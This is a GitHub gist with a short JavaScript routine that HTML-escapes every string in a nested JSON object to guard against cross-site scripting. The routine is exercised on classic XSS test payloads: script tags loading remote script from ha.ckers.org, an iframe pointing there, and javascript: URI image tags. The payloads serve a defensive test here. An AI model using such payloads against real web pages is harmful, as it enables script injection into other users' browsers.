Skip to content

Instantly share code, notes, and snippets.

@daogurtsov
Created December 1, 2013 21:57
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save daogurtsov/7741368 to your computer and use it in GitHub Desktop.
Save daogurtsov/7741368 to your computer and use it in GitHub Desktop.
xss escaping and parsing html entities
var entityMap = {
"&": "&",
"<": "&lt;",
">": "&gt;",
'"': '&quot;',
"'": '&#39;',
"/": '&#x2F;'
};
var htmlMap = {
"&amp;": "&",
"&lt;": "<",
"&gt;": ">",
'&quot;': '"',
'&#39;': "'",
'&#x2F;': "/"
};
function escapeHtml(string) {
return String(string).replace(/[&<>"'\/]/g, function (s) {
return entityMap[s];
});
}
function parseHtml(string) {
return String(string).replace(/&amp;|&lt;|&gt;|&quot;|&#39;|&#x2F;/g, function (s) {
return htmlMap[s];
});
}
var json = {
key1: "<IMG SRC=JaVaScRiPt:alert('XSS')>",
key2: {
key3: "></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>",
key4: "'';!--\"<XSS>=&{()}",
key5:[{key6:"<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>"},{key7:"<IMG SRC=\"javascript:alert('XSS');\">"},"<IMG SRC=JaVaScRiPt:alert('XSS')>",
{key9:{
key10:"<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",key11:"<iframe src=http://ha.ckers.org/scriptlet.html <"
}}]
}
};
function recursiveJsonParse(json, func) {
return $.each(json, function(key, val) {
if(val){
if (typeof val == "string"){
json[key] = func(val);
} else if (typeof val != "number") {
json[key] = recursiveJsonParse(val, func);
}
}
});
};
console.log( json );
var parsed = recursiveJsonParse(json, escapeHtml);
console.log( parsed );
// var reverse = recursiveJsonParse(parsed,parseHtml);
// console.log( reverse );
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment